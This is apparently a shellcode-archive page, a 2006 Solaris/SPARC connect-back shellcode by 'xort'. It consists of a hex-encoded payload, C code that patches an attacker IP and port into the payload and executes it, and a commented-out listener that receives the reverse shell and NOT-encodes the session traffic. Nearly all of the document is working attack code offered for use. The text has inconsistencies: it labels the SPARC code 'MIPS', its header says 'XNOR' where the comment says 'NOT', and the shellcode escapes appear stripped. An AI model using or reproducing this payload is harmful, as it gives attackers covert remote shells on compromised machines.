[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : solaris/sparc connect-back (with XNOR encoded session) 600 bytes
# Published : 2006-07-21
# Author : xort
# Previous Title : linux/x86 executes command after setreuid (9 + 40 bytes + cmd)
# Next Title : freebsd/x86 kill all processes 12 bytes


/*

 black-RXenc-con-back-SOLARIS.c (MIPS)

 This is a relitivly small (600 byte) shellcode that encodes all network trafic between the
 exploited process and the attacker. All clear-text shell i/o is encoded using a simple NOT
 algo before being transmitted on the wire.

 7.21.6  Russell Sanford  (xort@blacksecurity.org)

*/



#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// opcode encodings for performing sethi/or against/into register %o1 w/ nulled data

#define SETHI_O1 0x13000000
#define OR_O1	 0x92126000

char rx_enc_con_back[] =
"x13x04xbdxd0x93x32x60x0cxd2x23xbfxd4x13x1bx5cx0bx92x12x63x50xd2x23xbfxd8xc0x23xbfxdcx20xbfxffxff"
"x20xbfxffxffx7fxffxffxffx9ex03xe0x90x20xbfxffxfbx81xc3xe0x04x96x1axc0x0bx81xc3xffx1cx92x10x20x02"
"x94x1ax80x0ax96x1axc0x0bx98x10x20x01x82x10x20xe6x91xd0x20x08x80x1axc0x0bx81xc3xe0x08x80x1axc0x0b"
"x82x10x20x02x91xd0x20x08x96x1axc0x0bx80x92xc0x09x12xbfxffxf0x96x1axc0x0bx7fxffxffxf1x90x10x20x01"
"xd0x23xbfxccxe0x03xbfxccx90x03xbfxd6x82x10x20x0ax91xd0x20x08xd0x03xbfxccx92x03xbfxd4x94x10x20x08"
"x96x10x20x03x98x1axc0x0bx82x10x20xe8x91xd0x20x08xd0x03xbfxccx92x10x20x01x94x10x20x01x82x10x20xe9"
"x91xd0x20x08xd0x03xbfxccx92x03xbfxd4x94x10x20x28xd4x23xbfxd0x94x03xbfxd0x96x10x20x01x82x10x20xea"
"x91xd0x20x08xd0x23xbfxccx94x10x20x01x92x10x20x09x82x10x20x3ex91xd0x20x08xd0x03xbfxccx94x22xc0x0b"
"x91xd0x20x08xd0x03xbfxccx94x10x20x02x91xd0x20x08x94x1ax80x0ax21x0bxd8x9axa0x14x21x6ex23x0bxcbxdc"
"xa2x14x63x68xd4x23xbfxd0xe2x23xbfxccxe0x23xbfxc8x90x23xa0x38xd4x23xbfxc4xd0x23xbfxc0x92x23xa0x40"
"x82x10x20x0bx91xd0x20x08x90x10x20x03xd0x23xbfxf8x90x03xbfxf8x92x1ax40x09x82x10x20xc7x91xd0x20x08"
"x7fxffxffxb7x90x10x20x01x80x18x40x02xd0x23xbfx80x92x03xbfxd4x94x10x20x08x82x10x20xebx91xd0x20x08"
"x7fxffxffxafx90x10x20x02xd0x23xbfxf8x13x0axb6x48x93x32x60x0cxd2x23xbfxecx13x24x28x9ex92x12x60xd7"
"xd2x23xbfxf0xc0x23xbfxf4x92x03xbfxecx94x10x20x10x82x10x20xebx91xd0x20x08xe4x03xbfxf8xe2x03xbfx80"
"xe2x23xbfxf8xe4x23xbfx80x94x10x20x01x91x2axa0x10xd0x23xbfxfcx90x03xbfxf8x92x10x20x01x84x3axc0x0b"
"x82x10x20x57x91xd0x20x08x92x18x40x01x80xa2x40x08x02xbfxffxf2xd0x03xbfxf8x92x03xbfx88x94x10x20x64"
"x82x10x20x03x91xd0x20x08x92x18x40x01x80xa2x40x08x02xbfxffxeax92x10x3fx9cx9ex03xbfxecxd6x03xc0x09"
"x82x22xc0x0bx96x3axc0x01xd6x23xc0x09x80xa2x40x01x12xbfxffxfbx92x02x60x04x94x0ax3fxffxd0x03xbfx80"
"x92x03xbfx88x82x10x20x04x91xd0x20x08x10xbfxffxdbx80x18x40x02";


void patchcode(long ip, unsigned short port) {


	// fix sethi instruction to set up ip.
	*(long *)&rx_enc_con_back[408] = SETHI_O1 + ((ip)>>10 & 0x3fffff);

	// FIX or instruction to set up ip.
	*(long *)&rx_enc_con_back[412] = OR_O1 + (ip & 0x2ff);

	// fix sethi instruction to set up port/family.
	*(long *)&rx_enc_con_back[396] = SETHI_O1 + (((AF_INET<<16) + port)<<2);

}

void (*fakefunc)();

void main() {

	patchcode(inet_addr("10.0.0.3"), 44434);
	char *buffer = (char *) malloc(1024);
	strcpy(buffer, rx_enc_con_back);
	fakefunc = buffer;
	fakefunc();
}


/*
// quickclient.c - client for remote connect back solaris shellcode //
//                 w/ realtime encoded communications.              //
// xort@blacksecurity.org - 7.17.6                                  //

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define PORT 44434

// simple routine to do NOT opperation on all data passed/revieved.

void notbuffer(char *string) {

	int i;

	for (i=0; i<100; i+=4)
		*(int *)(string+i) = ~ *(int *)(string+i);
}


void main() {


	struct sockaddr_in mine;
	int sockfd;
	char buffer[100];
	int len, sent, l;
	fd_set rfds, wfds;

	mine.sin_family = AF_INET;
	mine.sin_port = htons(PORT);
	mine.sin_addr.s_addr = 0;
	bzero(mine.sin_zero, 8);
	
	sockfd = socket(AF_INET, SOCK_STREAM, 0);

	len = sizeof(mine);
	bind(sockfd, (struct sockaddr *)&mine, sizeof(mine));	
	listen(sockfd, 1);
	sockfd = accept(sockfd, 0, &len);

         while (1) {
                FD_SET (0, &rfds);
                FD_SET (sockfd, &rfds);
                FD_SET (sockfd, &wfds);

                select (sockfd + 1, &rfds, NULL, NULL, NULL);

                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buffer, sizeof (buffer));
			notbuffer(buffer);
                        if (l <= 0) {
                                exit (EXIT_FAILURE);
                        }
                        sent=0;
                        while (!sent) {
                                select (sockfd+1, NULL, &wfds, NULL, NULL);
                                if (FD_ISSET(sockfd, &wfds)) {
                                        write(sockfd, buffer, l);
                                        sent=1;
                                }
                        }
                }

                if (FD_ISSET (sockfd, &rfds)) {
                        l = read (sockfd, buffer, sizeof (buffer));
			notbuffer(buffer);
                        if (l == 0) {
                                fprintf(stdout,"n [x] Connection Closed By Remote Host.n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                exit (EXIT_FAILURE);
                        }
                        write (1, buffer, l);
                }
        }

}
*/

// www.Syue.com [2006-07-21]